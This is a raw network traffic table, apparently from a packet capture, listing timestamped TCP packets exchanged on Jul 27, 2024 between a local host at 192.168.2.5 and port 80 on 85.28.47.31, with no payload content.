Jul 27, 2024 12:01:13.959263086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959295988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959321022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959521055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959587097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959697962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959712982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959727049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959743023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959757090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959762096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959772110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959784031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959788084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959824085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959846020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.960335016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960350990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960366011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960380077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960393906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960395098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.960433006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.960468054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.960490942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960506916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960521936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960536957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960551023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960566998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.960587025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.960645914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.961175919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961191893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961206913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961221933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961236000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961241007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.961251974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961266994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961282015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.961299896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961314917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961321115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.961322069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961333036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961359978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.961394072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.961499929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.961555004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962255955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962271929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962285995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962301016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962316036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962327957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962332010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962347031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962362051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962368965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962390900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962393999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962409019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962421894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962454081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962594986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962610006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962624073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.962651014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.962690115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.963376045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963392019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963406086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963421106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963435888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963445902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.963450909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963466883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.963485003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.963520050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966067076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966233969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966247082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966262102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966278076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966316938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966341019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966387033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966403008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966419935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966445923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966468096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966526985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966586113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966648102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966706038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966794014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966852903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.966969967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.966984987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967000961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967015028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967031956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967035055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967067003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967098951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967099905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967117071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967166901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967312098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967327118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967343092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967358112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967372894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967381001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967385054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967398882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967408895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967415094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967431068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967434883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967473984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.967906952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967921972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967936993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967951059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.967966080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968025923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.968063116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968079090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968095064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968111038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968112946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.968147993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.968179941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.968199968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968214989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.968266964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047482967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047508955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047524929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047542095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047547102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047570944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047585011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047585011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047586918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047605038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047614098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047622919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047658920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047658920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047658920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047899961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047915936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047933102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.047960043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047960043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.047987938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048038006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048069954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048084974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048114061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048137903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048240900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048290968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048340082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048357010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048398018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048464060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048507929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048523903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048532963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048569918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048569918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.048715115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.048768997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049316883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049365997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049388885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049405098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049446106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049446106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049602032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049618006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049633980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049650908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049654007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049679041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049702883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049868107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049931049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049938917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.049947977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049961090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049977064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.049987078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050014973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050203085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050219059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050240993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050266981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050271034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050285101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050297976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050302029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050344944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050344944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050345898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050729036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050754070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050770044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050784111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050786018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050801039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050816059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050831079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050844908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050844908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050846100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050844908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050844908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050862074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050877094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050894022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.050939083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050939083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050939083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050939083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050939083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.050939083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.051873922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051891088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051906109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051920891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051935911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051949978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.051949978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051966906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.051996946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.051996946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.052026033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.093852043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.098718882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276191950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276215076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276232004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276371002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276386976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276401997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276416063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276444912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276520014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276520967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276520967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276520967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276520967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276653051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276762009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276812077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276827097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276842117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276855946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276861906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276873112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276886940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276894093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276902914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.276926994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276945114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.276952982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277335882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277350903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277365923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277379990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277390957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277425051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277621984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277636051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277651072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277663946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277664900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277681112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277690887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277694941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277710915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277726889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.277735949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277735949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277761936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.277774096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278271914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278285980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278300047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278315067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278321981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278328896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278333902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278343916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278346062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278359890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278373957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278377056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278388977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278400898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278403044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278414965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278418064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278434038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.278441906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.278476000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279151917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279166937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279181004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279196024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279210091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279216051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279222965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279227972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279237986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279247046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279253006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279268026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279275894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279283047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279284000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279297113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279304981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279325962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279347897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.279943943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279958010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279973984 CEST	80	49704	85.28.47.31	192.168.2.5
